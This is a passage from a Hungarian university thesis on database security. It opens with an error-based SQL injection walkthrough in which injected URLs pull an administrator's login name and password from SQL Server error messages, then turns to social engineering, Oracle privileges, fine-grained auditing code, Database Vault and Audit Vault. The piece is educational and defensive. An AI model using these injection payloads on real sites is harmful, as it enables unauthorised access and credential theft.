Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5

Ezt addig folytathatjuk, míg az összes oszlop nevét megtudjuk. A következő feladat az, hogy a mező értékeket derítsük ki a táblanév és az oszlopnév ismeretében, ehhez a következő utasítást adjuk ki:

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

A hibaüzenet a következő:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5

Ebből kiderül, hogy van egy olyan adminisztrátor, akinek „neo” a felhasználó neve. Ahhoz, hogy megtudjuk a jelszavát is, a következőt kell tennünk:

http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

A hibaüzenet a következő:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5

Ebből lehet látni, hogy a „neo” nevű felhasználó jelszava: „m4trix”.

A bemutatott példákkal azt szerettem volna szemléltetni, hogy ha ismerjük az egyes rendszereket és azok rendszertábláit, és rendelkezünk némi SQL nyelvismerettel, könnyedén hozzá lehet férni az adott adatbázisban tárolt adatokhoz. Nagyon fontos tehát, hogy a web alkalmazás fejlesztésekor ügyeljünk a bemenetek figyelésére továbbá naprakészen tartsuk az adatbázis kezelő rendszerünket. Az egyes adatbázis kezelő rendszer termékekhez gyakran jelennek meg biztonsági frissítések, amik azt hivatottak kiküszöbölni, hogy például egy rossz bemenet hatására a támadó ne tudjon meg információkat a hibaüzenetből.

3.4.2. Az emberi tényező

Ebben a részben arra próbálok meg rávilágítani, hogy hiába a technika a biztonságban, ha azt egyszerűen nem használjuk, vagy ha tudatlan jóhiszemű emberek használják a rendszert. Az átverő-művészek két fajtája létezik. Az embereket átverő és pénzüket kicsaló bűnözők a szélhámos kategóriába tartoznak. A cégek ellen az azok információiért megtévesztést, befolyásolást és meggyőzést bevető emberek a „social engineer-ek”. A cégek

jelszavaihoz és más bizalmas információhoz úgy jutnak hozzá, hogy másvalakinek adják ki magukat és egyszerűen rákérdeznek ezekre. Az abszolút biztonság érzésére való törekvés természetes dolog, sok embert arra késztet, hogy megelégedjen a biztonság egy hamis értelmezésével. Például, ha arra felelős és gondoskodó háztulajdonosra gondolunk, akinek egy betörésbiztosnak mondott reteszzár van a bejárati ajtóra szerelve, ezzel védi feleségét, gyermekeit és otthonát. Kényelmesen érzi magát, mivel sokkal nagyobb biztonságban tudja családját. De mi a helyzet az ablakot betörő vagy a garázskapu kódját megbűvölő betörővel? Mi történik, ha felszerel egy megbízható riasztórendszert? A helyzete jobb, de a biztonság nem tökéletes. Drága zárakkal, vagy nélküle a tulajdonos sebezhető marad, mert a „biztonság leggyengébb láncszeme az emberi tényező" *[Irodalomjegyzék 3.]*. Üzleti javaink biztonságára a legnagyobb fenyegetést a „social engineer" jelenti, az a gátlástalan varázsló, akinek a balkezét nézzük és a jobb kezével ellopja titkainkat. Ez a személy gyakran olyan barátságos, olyan jól beszél és olyan szolgálatkész, hogy hálát érzünk, amiért megismerhettük. A betörési teszteket végző társaságok jelentése szerint a céges számítógépes rendszerbe „social engineering" módszerrel végzett behatolási kísérletek majdnem száz százalékig sikeresek. A biztonsági technológiák azáltal, hogy eltávolítják az embereket a döntéshozó folyamatokból megnehezíthetik az ilyen támadásokat. Mindazonáltal a „social engineering" fenyegetésekkel szembeni egyetlen igazán hatékony védekezés biztonsági tudatossággal kombinált, az alkalmazotti viselkedés alapszabályait meghatározó biztonsági politika és az alkalmazottak megfelelő oktatása és képzése. Egyes szakértők azt javasolják, hogy a cég teljes biztonsági költségvetésének 40 százalékát tudatossági képzésre kell fordítani. Első lépésben a cég minden alkalmazottjában tudatosítani kell, hogy léteznek gátlástalan emberek, akik a megtévesztés segítésével pszichológiailag manipulálhatják őket. Az alkalmazottaknak meg kell tanítani, hogy az információt védeni kell, és hogy hogyan lehet védeni. Ha az emberek egyszer megértik, hogy milyen módon lehet őket manipulálni, nagyobb eséllyel fogják észrevenni az elkezdődő támadást. A biztonságtudatosság része az is, hogy az összes alkalmazottal megismertessük a céges biztonsági politikát és eljárásokat.

4. Az Oracle biztonsági megoldásai

4.1. Standard jogosultsági rendszer

Standard jogosultsági rendszer, általában minden relációs adatbázis-kezelőben megvan. A jogosultsági rendszert két nagy részre lehet osztani. Elsőként a rendszer-jogosultságok, amelyek valamilyen rendszerszintű műveletet engedélyeznek. Elég finoman be lehet állítani ezeket a dolgokat, több mint kétszáz darab rendszerjogosultság van az Oracle-ben. Kellő részletességgel be lehet állítani, hogy rendszerszinten ki és mit hajthat végre és mit tehet egy relációs adatbázis kezelőben. A jogosultságok másik csoportja az objektum jogosultságok, ezek mindig valamilyen objektumhoz köthetőek egészen konkrétan valamilyen táblához, vagy objektumhoz köthető műveletet végeznek. „Database control". Az adatbázison belül felhasználók vannak, minden egyes objektumnak van egy tulajdonosa, aki azt létrehozta és alapesetben a tulajdonos bármit megtehet az objektumaival, viszont minden más felhasználó csak akkor dolgozhat az objektumon, ha engedélyt kapott a tulajdonostól.

A szerepkörök tulajdonképpen úgy foghatók fel, mint az operációs rendszerben a csoportok (group). Különböző szerepköröket hozhatunk létre, célszerű talán az emberek cégen belül betöltött pozíciója, vagy munkaköre szerint létrehozni a szerepköröket és a jogosultságokat célszerű nem közvetlenül osztani a felhasználóknak, mert egy túlzottan kusza, átláthatatlan, komplex jogosultsági rendszer jönne létre. Hanem érdemes felállítani különböző szerepköröket, amelyek számunkra fontosak és az adott szerepkör elvégzéséhez szükséges jogosultságokat az adott szerepkörnek osztjuk ki és aztán az adott felhasználóinkat pedig hozzárendeljük ahhoz a szerepkörhöz, ami a munkájához szükséges. A szerepkörök lényege, hogy egyszerűsítik, átláthatóvá teszik a jogosultsági adminisztrációt, és dinamizmust vihetnek a jogosultsági rendszerbe. Ugyanis azt kell tudni, hogy ezek a szerepkörök ki és be, kapcsolhatóak. Csak akkor lehet élni azokkal a jogosultságokkal, amiket a szerepkörön át kapunk, ha az a szerepkör be van kapcsolva. A szerepkör ki- és be, kapcsolása jelszóval védhető, továbbá operációs-rendszer hitelesítéshez köthető. Egy Oracle rendszerben vannak előre beépített szerepkörök, mint pl. az adatbázis adminisztrátor (DBA) szerepkör. Aki a rendszergazda és így tudunk újabb és újabb rendszergazdákat létrehozni. Léteznek továbbá biztonságos szerepkörök (Secure roles), ezek olyan speciális szerepkörök, amelyek nincsenek statikusan felhasználókhoz hozzárendelve, dinamikusan az alkalmazásból valamilyen művelet előtt meg lehet hívni egy olyan eljárást, amiben az alkalmazás kód dönt arról, hogy az adott felhasználónak a szerepkört bekapcsolja, vagy sem. Ha bekapcsolja, élhet azokkal a

jogosultságokkal és elvégezheti azokat a műveleteket, amelyekhez a jogosultságot az adott szerepkörön át kapja, ha pedig az alkalmazás úgy dönt, hogy nem kapcsolja be az adott felhasználónak a szerepkört, akkor ő nem végezheti el azokat a műveleteket. Ez a biztonságos szerepkör olyan dinamizmusra ad lehetőséget, ahol függővé tehetem például az időtől, hogy bizonyos műveleteket mikor lehet végrehajtani, továbbá függővé tehetem attól, hogy milyen alkalmazásból van bejelentkezve a felhasználó (PL/SQL, iSQL). Tehát ez egy programozható nagyon rugalmas, dinamikus dolog.

Standard jogosultsági funkciókat az Oracle-ben a profilok segítségével tudunk megvalósítani. A jelszókezelés nagyon fontos területe az adatbázis biztonságnak és az informatikai biztonságnak is. A profilok segítségével a következőket lehet definiálni. A jelszavaknak története lehet, ez azt jelenti, hogy bizonyos jelszó-változtatással korábbi jelszót engedünk meg használni, ami azt jelenti, hogy például harminc nappal korábbi jelszót lehet csak újra felhasználni. Lehetőségünk van a felhasználók automatikus zárolására valahány sikertelen belépési próbálkozás után. A jelszavaknak lejárata lehet és élettartama, ami azt jelenti, hogy például 30 napig lehet ugyanazt a jelszót használni, azután meg kell változtatni. Jelszó-komplexitás ellenőrző függvényt lehet hozzárendelni, írni különböző felhasználói profilokhoz. Az Oracle ad egy standard jelszó-komplexitást ellenőrző függvényt, aminek a neve: „Werified function”. Ez a következő dolgokat definiálja, először is minimum négy karakterből kell állnia egy jelszónak, másodszor nem lehet azonos a felhasználói névvel, harmadszor kell, hogy legyen benne legalább egy speciális karakter, vagy numerikus karakter és legalább három betűben különböznie kell az előző jelszótól. Ezt a függvényt módosítva hozhatunk létre saját tetszőlegesen komplex jelszó-komplexitás ellenőrző függvényt.

4.2. Gyanús adatbázis-műveletek megfigyelése

Lehetnek olyan műveletek, amelyeket teljes egészében nem tilthatok meg a felhasználóknak, tehát nem tehetem meg azt, hogy hozzáférés korlátozással egyszerűen tiltom, hiszen egy ilyen informatikai rendszert azért hozunk létre, hogy aztán használjuk is. Adatbázis biztonság szempontjából, azaz abszolút biztonságos rendszer, ami egy kikapcsolt számítógép egy páncélszekrénybe zárva. De ez nyilvánvalóan nem fenntartható. A probléma tehát az, hogy amint egy informatikai rendszert használni is szeretnénk, hozzáférést biztosítunk felhasználóknak, abban a pillanatban azonnal sebezhetőségek és problémák

jelennek meg és van sok olyan funkció, amelynél tulajdonképpen az egyetlen dolog, ami véd az a megfélemlítés. Például egy adatbázis adminisztrátornak, vagy egy adatbázis rendszergazdának gyakorlatilag mindenhez joga van, bármit megtehet, bármilyen adatot láthat és gyakorlatilag az egyetlen dolog, ami tőle megvéd az, hogy ő egy gerinces, becsületes ember, a másik dolog az, hogy tudja, ha ő valamit manipulál az adatokon, az kiderül és ezt rajta számon kérik. Ezért, hogy a módosítások ne maradjanak észrevétlenül, az adatbázis hozzáférést ne lehessen eltüntetni, különböző auditálási opciókat hoztak létre.

Ezekből az auditálási opciókból az Oracle-ben háromféle is létezik. Van az úgynevezett „Standard Database Audit" történelmileg ez létezik légrégebb óta és különböző adatbázis tevékenységekre lehet ezt bekapcsolni. A probléma az volt vele, hogy elég limitált, azaz adatmennyiség, azaz információmennyiség, amit a megtörtént eseményekről rögzíteni tud. Ezt ki kellett bővíteni és így jelentek meg az újabb auditálási opciók a „Value Based Audit". Ez tulajdonképpen érték alapú auditálást jelent, tesz lehetővé, amit nagyon gyakran alkalmazási kóddal kell majd megvalósítani. A harmadik auditálási opció az Oracle-ben a „Fine-graint Audit". Ez azt a dolgot valósítja meg, amire az előző két opció nem volt jó, mégpedig a bizonyos feltételeknek megfelelő adatokhoz való hozzáférésnek a naplózását. Azt tudja naplózni, hogy ki néz olyan kritikus adatokat, melyeket nem szabadna neki.

A Standard Auditálási opcióval az objektumhoz való hozzáférést, vagy valamilyen jogosultsággal való visszaélést vagy próbálkozást, mint eseményt lehet figyelni. A legnagyobb probléma ezzel kapcsolatban az volt, hogy nagyon fix, azaz adatmennyiség, azaz információ, amit egy-egy eseményről kapunk. Durván három dologra korlátozódik. Elsőként a felhasználói név, aki az adott eseményt elkövette, másodszor az adott esemény kódja, hogy mi volt ez az esemény és harmadszor az idő, amikor megtörtént az esemény. Ez elég kevésnek bizonyult és idővel megjelentek igények arra, hogy mi lenne, ha az utasítást is láthatnánk, ami kiváltotta az auditálást. A tízes verzióban jelentek meg olyan plusz auditálási opciók, amivel ilyen extra információk, tehát SQL utasítás naplózásra kerül, ami az auditálást kiváltotta.

Az értékalapú auditálás arra szolgál, hogy valamilyen adatmódosítást tudjunk vele naplózni, például ki módosított egy könyvelési tételt, és úgy, hogy konkrétan a módosított értéket is el lehessen kapni. Meg tudjuk mondani, hogy mi volt a régi érték, mi lett az új érték és melyik felhasználó csinálta ezt a módosítást. Ez általában egy alkalmazási kóddal oldható meg, vagy erre szolgálnak a DML utasításhoz kapcsolt úgynevezett „trigger-ek". A „trigger-

ek” eseményekhez rendelhető kódrészletek. Ezzel az eseményhez rendelt kóddal, eljárással tetszőleges dolgokat lehet vizsgálni és naplózni.

A legújabb opció a „Fine-graid Audit” arra jó, amire a standard auditálás és az értékalapú auditálás nem volt jó, feltételtől függően, de adathozzáférést lehet vele naplózni. A probléma az, hogy standard auditálásnál lehetett naplózni a hozzáférést, de nem lehetett feltételt szabni, tehát általában úgy néz ki a dolog, hogy én nem azt akarom nézni, hogy például egy folyószámla egyenleget egy banknál ki néz, hiszen van több ezer ügyintéző, akiknek ez a dolga nap-mint nap, több százszor hozzáférnek ilyen adatokhoz. Azt akarom nézni, hogy kiemelt emberek, ideértve közszereplők vagy drogosok adataihoz kik fértek hozzá, ugyanis jogszabály határozza meg, hogy ilyen személyek adatait vagy elkülönítve kell tárolni a különböző informatikai rendszereken vagy pedig naplózni kell és meg kell tudni mondani 30-90 napig, hogy kik azok, akik hozzáfértek ezekhez az adatokhoz. A „Fine-graid Audit” erre lesz jó, tehát bizonyos feltételeknek megfelelő adatokat ki nézett, ki használt.

Az auditálás eredményeként keletkezett auditálási rekordok keletkezhetnek az adatbázisba, vagy operációs rendszeren text fájlokba, nyilván annak függvényében, hogy honnan könnyebb később ezeket az adatokat feldolgozni. Ha az adatbázison belül történik az auditálás, akkor ezek a konkrét nézetek belső adatszótár táblákba kerülnek, amelyekből az auditálási rekordok visszanézhetőek. Nyilván ez egy külön feladat lesz, hogy ezekhez az auditálási információkhoz csak az férhessen hozzá, akinek valóban szükséges. Külön feladat az is, hogy a megfigyelt ember ne tudja eltüntetni az általa generált adatokat. Az adatbázis adminisztrátor (DBA) elleni védelemre a standard auditálási opció nem jó, hiszen maga az adatbázis adminisztrátor látja ezeket az adatokat, sőt joga van módosítani és esetleg maga után eltüntetni ezeket az adatokat. Ezért találták ki az operációs rendszerbe való auditálást. Ez védhet az ellen, hogy egy Oracle adatbázis adminisztrátor ne tudja eltüntetni maga után az ő auditálási rekordjait. Az értékalapú auditálást mindenféleképpen alkalmazási kóddal kell megvalósítani. Például egy SAP rendszerben ezt maga az alkalmazás szerver csinálja meg és az auditálást ott lehet bekapcsolni. Az Oracle azt a lehetőséget adja, hogy DML „trigger-eket” írhatunk, ez azt jelenti, hogy DML műveleteknél ez a kis „trigger” kód lefut, és innen el lehet kapni a módosítás előtti régi értéket, új értéket és azt be lehet tenni egy napló táblába időbélyeggel és a felhasználói névvel, aki a módosításokat végrehajtotta. Ezekben a táblákban gyűlnek a módosítások, ezeket időnként meg kell figyelni és fel kell dolgozni. A „Fine-grained Auditing” első megjelenésekor kizárólag SELECT utasítást tudta naplózni, tehát

valamilyen feltételnek megfelelő adatokhoz való hozzáférést naplózott. A tízes verzióban kibővítették, hogy a DML műveletek is megfigyelhetőek legyenek vele. A standard auditálási bejegyezésen kívül még egy dologra jó, hozzá lehet rendelni egy eljárást, egy úgynevezett esemény kezelőt, az adott auditálási eseményhez, ami amint az auditálási esemény megtörtént ez az eljárás lefut és innen riasztás is küldhető. Kimondottan alkalmassá teszi ez az opció a banki környezetben az alvó számlák figyelését. A következő példa egy „Fine-grained Audit" házirendet (policy) hoz létre:

```
dbms_fga.add_policy (
object_schema       =>    'hr',
object_name         =>    'employees',
policy_name         =>    'audit_emps_salary',
audit_condition     =>    'dept_id=10',
audit_column        =>    'salary',
handler_schema      =>    'secure',
handler_module      =>    'log_emps_salary',
enable              =>    TRUE,
statement_types     =>    'select' );
```

A példában a tízes osztályon dolgozókat nézzük, azon belül is a fizetést. Ahhoz hogy engedélyezzük a házirendet a következő utasítást kell kiadni:

```
dbms_fga.enable_policy (
object_schema       =>    'hr',
object_name         =>    'employees',
policy_name         =>    'audit_emps_salary' );
```

A házirend letiltásához pedig a következő utasítást kell kiadni:

```
dbms_fga.disable_policy (
object_schema       =>    'hr',
object_name         =>    'employees',
policy_name         =>    'audit_emps_salary' );
```

A következő példautasítás szemlélteti, hogy mikor kerül sor, naplózásra.

```
SELECT count(*)
```

FROM hr.employees

WHERE department_id = 10 AND salary > v_salary;

A fizetést, mint eredményt nem fogjuk látni, csak megszámoljuk, hogy hány olyan ember van a tízes osztályon, akiknek a fizetése az általam megadott fizetésnél nagyobb. Ebben az esetben mégis kiváltódik az auditálási esemény méghozzá azért, mert a konkrét fizetés értéket ugyan nem látom, de a megfelelő WHERE feltétel segítségével körbe lehet lőni és így majdnem konkrétan meghatározható a fizetés. Mivel az FGA auditálási opció később készült, mint a standard auditálás, ezért nem a standard auditálási opció tábláiba lettek az auditálási információk integrálva, hanem külön auditálási táblák lesznek. Ez elég kellemetlen dolog, mivel különböző helyről kell összegyűjteni a különböző auditálási opciók auditálási rekordjait. Erre a problémára az Oracle-nek létezik egy külön terméke, amiről a későbbiekben részletesen fogok írni.

Külön említést érdemelnek a SYSDBA és a SYSOPER felhasználók, auditálásáról és megfigyeléséről, ugyanis ez a „*rendszergazda és a rendszergazdától ki véd meg*”, ez egy külön fontos és izgalmas téma manapság. Azt kell mondanom, hogy alapesetben nincs ellene védelem, ugyanis a rendszergazda az összes rendszerjogosultsággal rendelkezik, tehát korlátlan ura és bármit megtehet az adatbázison belül. Ebbe az is beletartozik, hogy üzleti adatokat láthat és módosíthat is. Az egyik megoldás lehet a rendszergazda elleni védelemben, hogy jól meg kell fizetni, hogy ne érje meg neki visszaélni az adatokkal. Másik lehetőség az Oracle kifejezetten a SYSDBA és a SYSOPER felhasználók auditálására kifejlesztett egy auditálási opciót, amit az AUDIT_ SYSOPERATYON kapcsolóval lehet bekapcsolni. Ami azt jelenti, hogy ezen felhasználók minden tevékenységét naplózzuk. Azért, hogy ez biztonságos legyen előlük, tehát, hogy ne tudják maguk után eltüntetni ezeket az auditálási bejegyzéseket, ezért a rendszergazda kiemelt auditálása nem történhet az adatbázisba, mindenképpen az operációs rendszeren történik. Ahhoz, hogy eltüntesse maga után a nyomokat, össze kell játszania az operációs rendszer rendszergazdájával, ezért nagyon fontos, hogy ne egyazon személy legyen, mert ekkor ez az opció feleslegessé válik. *[Irodalomjegyzék 5.]*

4.3. Az Oracle kiegészítő opciói

A következő opciók nem részei a standard Oracle-nek, hanem plusz opcióként jelennek meg. Elsőként a „Virtual Private Database” ez tulajdonképpen sorszintű hozzáférés szabályozást megvalósító rendszer, ami azt jelenti, hogy az alapvető objektum jogosultsági rendszeren túlmutat. A probléma az, hogy az alapjogosultsági rendszer objektum alapú, tehát ha van egy SELECT jogom egy táblán, akkor én ott mindent láthatok az összes sort és oszlopot. Felmerülhet egy olyan probléma, hogy például egy adott kereskedő csak az általa rögzített megrendeléseket lássa a megrendelési táblából, vagy egy adott beszállító csak azokat a megrendeléseket lássa, amik neki szólnak, vagy egy menedzser csak saját beosztottai által végzett megrendeléseket lássa. Ez három különböző szabály lenne annak függvényében, hogy éppen ki nézegeti a megrendelési adatokat ugyanabból a táblából. Ez sajnos a standard beállításokkal nem valósítható meg. A „Virtual Private Database” a következőképpen működik, egy-egy biztonsági szabályt lehet definiálni a táblákhoz és ez tulajdonképpen egy függvény, mely visszaad egy feltételt, egy logikai kifejezést, amikor az adott táblából dolgoznak, ez a függvény lefut és az általa visszaadott logikai feltételt hozzáadja egy „AND”el az általam írt „SELECT” utasításhoz, és így csak azt látom, ami utána megmarad. Ezt mindenképpen programozni kell, nem úgy működik, hogy csak bekapcsolom és kész. Az alkalmazás tervezésénél ki kell találni, hogy akarjuk-e ezt használni, és ha igen ennek megfelelően kell megírni az egyes szabály függvényeket, és hozzátársítani az üzletileg fontos titkos adatokhoz.

A második opció az „Enterprise User Security”, ami egy centralizált felhasználó és biztonsági adminisztrációt tesz lehetővé. Az „LDAP” protokollhoz hasonlít. Ez egy standard, hierarchikus adatbázisrendszer, egy címtár-szolgáltatás. Az Oracle adatbázis felhasználók és jogosultságainak az adminisztrálása egy ilyen centralizált címtár-szolgáltatásban képzelhető el. Az előnye a dolognak az, hogy több különböző rendszert egy közös helyen lehet biztonsági szempontból adminisztrálni. A tízes verzióban az Oracle-t közvetlenül a „Microsoft Active Directory-val” lehet összekapcsolni, vagy az Oracle saját fejlesztésű „Oracle Internet Directory-val”. Ezt főleg nagyvállalati környezetben használják sok ezer felhasználó esetén. Néhány felhasználó esetén nem érdemes a használata, mert a több a komplikáció, mint amennyit nyerünk vele.

A harmadik opció a „Database Vault”, ami az egyik legújabb opció, ez az igazi védelem az adatbázis adminisztrátor ellen. A „Database Vault” egy olyan biztonsági funkció,

amivel különböző védelmi tartományok hozhatók létre és különböző adatbázis objektumok ilyen védelmi tartományba zárhatóak. Ez azt jelenti, hogy a védelmi tartományhoz nem férhet hozzá senki, sem az adatbázis adminisztrátor, sem a tulajdonosa, kell egy külön biztonsági adminisztrátor egy ilyen esetekben, aki dönt arról, hogy ki mihez férhet hozzá. Magyarországon nem tart ennyire előre ez a biztonsági szabályozás, de a külföldi tulajdonú cégekhez már nagyon sok kritérium begyűrűzik a külföldi tulajdonos miatt. Már most rengeteg olyan dolgot biztosítani kell, amiket csak ezen opció segítségével lehet megvalósítani. Mint például, hogy adatbázis hozzáférést korlátozni tudjam, szerepszétválasztás legyen az adatbázis adminisztrátor és a biztonsági adminisztrátor között.

A negyedik opció az „Audit Vault" opció, ami arra jó, hogy az auditálási adatokat ne több helyről kelljen összeszedni, mint már az előzőekben említettem, ezeket a dolgokat centralizálja egy komoly nagyvállalati rendszerben egy konkrét rendszerbe integrálja az auditálási információkat. Ez úgy néz ki, hogy lesz egy „Audit Vault" szerver és esetleg 20-30 adatbázis vagy operációs rendszerből származó audit információ, és ezek a hálózaton át ebbe a log szerverbe kerülnek. Ez biztosítja ezek biztonságos tárolását, monitorozását. Például: minták alapján riasztásokat lehet definiálni. Az „Audit Vault" kimondottan egy cél-eszköz dobozolt szoftver arra, hogy egy nagyvállalati környezetben auditálási adatok keletkezése, monitorozása egy biztonságos környezetben történjen.

5. Összegzés

A kutatómunkám során azzal a ténnyel kellett szembesülnöm, hogy magyar nyelvű irodalom, ami kelő részletességgel összegzi az adatbázis-biztonság témakörét, elvétve található, pedig rendkívül érdekes, és kimondottan fontos témakör. Az idegen-nyelvű anyagok, és azok feldolgozása különösen érdekessé és izgalmassá tették a kutatómunkámat. Célom az volt, hogy egy átfogó képet adjak a már meglévő biztonsági modellekről és, hogy bemutassam, hogy a gyakorlatban milyen eszközök állnak rendelkezésre, ha egy biztonságos rendszert szeretnénk kiépíteni. A kutatás során a legfőbb szempont az volt, hogy felhívjam a figyelmet a biztonság fontosságára. Egy web-alkalmazás fejlesztése során rengeteg tudással kell rendelkeznie a fejlesztőnek amellett, hogy tisztában van a biztonsági lehetőségekkel és a biztonság szükségességével. Ha egy olyan web-alkalmazást fejlesztünk, ami üzleti adatokkal dolgozik, akkor kiemelkedően fontos, hogy fordítsunk kellő energiát a biztonsági politika kidolgozására. Ez azért fontos, mert az üzleti titkaink, amiből élünk, könnyedén illetéktelenek kezébe kerülhetnek és ugye ezt senki se szeretné. A relációs adatbázis kezelő rendszerek biztonságának vizsgálata során szerzett tapasztalatokat és tudást hasznosnak tartom a jövőbeni elhelyezkedésem során. A jövőben tervezem, hogy natív XML adatbázis-kezelő rendszerekkel is megismerkedek. A relációs adatbázis-kezelő rendszerek biztonságának vizsgálata során nem kerülte el a figyelmemet a natív XML adatbázis-kezelő rendszerek biztonsága sem, viszont a téma bonyolultsága és terjedelme miatt ebből a diplomamunkából a natív XML adatbázis-kezelő rendszerek és azok biztonsága kimaradt, de a jövőbeni esetleges kutatásaim során mindenféleképpen szeretnék ebbe az irányba elmozdulni. Itt szeretném megköszönni a Debreceni Egyetem Informatika Kar vezetőinek, hogy lehetőséget adtak számomra, hogy a 2008 szeptemberében Budapesten megrendezett „Hacktivity 2008” konferencián, részt vegyek.

Irodalomjegyzék

[1.] Ebookz.hu, Adatbázisok biztonsági kérdései:
http://ebookz.hu/letoltes.php?letazon=813526f31699cb4881e60f0ed8286743&azon=e6df50; 2006.08.07.

[2.] Hakin9 IT Security Magazine, hackin9.org – PDF articles, Defending the Oracle Database with Advanced Security Features.pdf
http://hakin9.org/prt/view/pdf-articles.html; 2007.04.

[3.] Kevin D. Mitnick, William L. Simon: A legendás hacker – A megtévesztés művészete; 2003 Perfact-Pro Kft Budapest

[4.] Michael J. Hernandez, Adatbázis-tervezés: A relációs adatbázisok alapjairól földi halandóknak; 2004 Kiskapu Budapest

[5.] Oracle Tchnology Network, Oracle Database Security Guide
http://download.oracle.com/docs/cd/B28359_01/network.111/b28531.pdf; 2008.11.10.

[6.] SecuriTeam.com, SQL Injection Walktrough:
http://www.securiteam.com/securityreviews/5DP0N1P76E.html; 2009.03.10.

[7.] Wikipédia, a szabad enciklopédia, Adatbázis-kezelő rendszer:
http://hu.wikipedia.org/wiki/Adatb%C3%A1zis-kezel%C5%91_rendszer; 2009.03.14.